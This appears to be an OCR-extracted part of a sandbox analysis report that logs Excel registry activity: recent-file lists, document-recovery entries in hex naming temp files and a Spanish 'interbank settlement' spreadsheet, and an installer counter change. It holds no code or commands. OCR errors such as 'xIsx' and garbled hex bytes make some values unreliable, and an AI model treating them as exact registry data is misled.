HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Item 7

Item 8

Item 9

Item 10

Item 11

Iltem 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7606393495.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4458179343.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EEB1A binary 04 00 00 00 E4 08 00 00 30 00 00 00  success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 43 00 3A 00 5C 00 55 00 73 00 65 00

iency\DocumentRecovery\EEB1A 7200 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 41 00 70 00 70 00
44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 78 00 6C 00
73 00 6D 00 2E 00 73 00 68 00 65 00
65 00 74 00 2E 00 63 00 73 00 76 00
00 00 00 00 22 00 00 00 43 00 3A 00
5C 00 55 00 73 00 65 00 72 00 73 00
5C 00 41 00 6C 00 62 00 75 00 73 00
5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00
70 00 5C 00 01 00 00 00 01 00 00 00
B1 E558 83 9C 09 D7 01 1A EB OE
00 1A EB OE 00 00 00 00 00 B8 02 00
00 66 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EEBD5 binary 04 00 00 00 E4 08 00 00 3F 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 43 00 3A 00 5C 00 55 00 73 00 65 00

iency\DocumentRecovery\EEBD5 7200 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 44 00 65 00 73 00
6B 00 74 00 6F 00 70 00 5C 00 4C 00
49 00 51 00 55 00 49 00 44 00 41 00
43 00 49 00 4F 00 4E 00 20 00 49 00
4E 00 54 00 45 00 52 00 42 00 41 00
4E 00 43 00 41 00 52 00 49 00 41 00
20 00 30 00 32 00 5F 00 32 00 32 00
5F 00 32 00 30 00 32 00 31 00 2E 00
78 00 6C 00 73 00 00 00 00 00 17 00
00 00 43 00 3A 00 5C 00 55 00 73 00
6500 72 00 73 00 5C 00 41 00 6C 00
62 00 75 00 73 00 5C 00 44 00 65 00
73 00 6B 00 74 00 6F 00 70 00 5C 00
01 00 00 00 01 00 00 00 90 BE 77 83
9C 09 D7 01 D5 EB OE 00 D5 EB OE
00 00 00 00 00 B8 02 00 00 6E 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
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Key Path Name Type

HKEY_CURRENT_USER\Software\Mic $8 binary
rosoft\Office\14.0\Excel\Resiliency\Startupltems

HKEY_LOCAL_MACHINE\SOFTWARE\Mi ProductNonBootFilesIntl_ dword
crosoft\Windows\CurrentVersion 1033
\Installer\UserData\S-1-5-18\P

roducts\00004109E6009040010000

0000F01FEC\Usage

Copyright null 2021

Data

20 24 38 00 E4 08 00 00 02 00 00 00
00 00 00 00 A8 00 00 00 01 00 00 00
52 00 00 00 4A 00 00 00 6C 00 69 00
7100 75 00 69 00 64 00 61 00 63 00
69 00 6F 00 6E 00 20 00 69 00 6E 00
74 00 65 00 72 00 62 00 61 00 6E 00
63 00 61 00 72 00 69 00 61 00 20 00
30 00 32 00 5F 00 32 00 32 00 5F 00
32 00 30003200 31 00 2E 00 78 00
6C 00 73 00 00 00 6C 00 69 00 71 00
75 00 69 00 64 00 61 00 63 00 69 00
6F 00 6E 00 20 00 69 00 6E 00 74 00
65 00 72 00 62 00 61 00 6E 00 63 00
61 00 72 00 69 00 61 00 20 00 30 00
32 00 5F 00 32 00 32 00 5F 00 32 00
30 00 32 00 31 00 00 00

1381367809

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\F7C8F

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

F7C8F

Max Display

Max Display

Item 1

Item 2

Type

binary

dword

dword

unicode

unicode

Data

04 00 00 00 E4 08 00 00 2A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
00 00 00 00 22 00 00 00 43 00 3A 00
5C 00 55 00 73 00 65 00 72 00 73 00
5C 00 41 00 6C 00 62 00 75 00 73 00
5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00
70 00 5C 00 01 00 00 00 01 00 00 00
1C 63 6F 99 9C 09 D7 01 8F 7C OF
00 8F 7C OF 00 00 00 00 00 B8 02 00
00 56 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00

25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Item 3

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7606393495.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4458179343.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic F7E73 binary 04 00 00 00 E4 08 00 00 2A 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 43 00 3A 00 5C 00 55 00 73 00 65 00

iency\DocumentRecovery\F7E73 7200 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 41 00 70 00 70 00
44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
00 00 00 00 22 00 00 00 43 00 3A 00
5C 00 55 00 73 00 65 00 72 00 73 00
5C 00 41 00 6C 00 62 00 75 00 73 00
5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00
70 00 5C 00 01 00 00 00 01 00 00 00
1C 63 6F 99 9C 09 D7 01 73 7E OF 00
73 7E OF 00 00 00 00 00 B8 02 00 00
56 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00O

Key Value Modified

Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
HKEY_LOCAL_MACHINE\SOF ProductNonBootFilesIntl_ dword 1381367809 1381367810 success or wait 1 7FEEAC59ACO unknown

TWARE\Mi 1033
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109E6009040010
0000000F01FEC\Usage
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Disassembly
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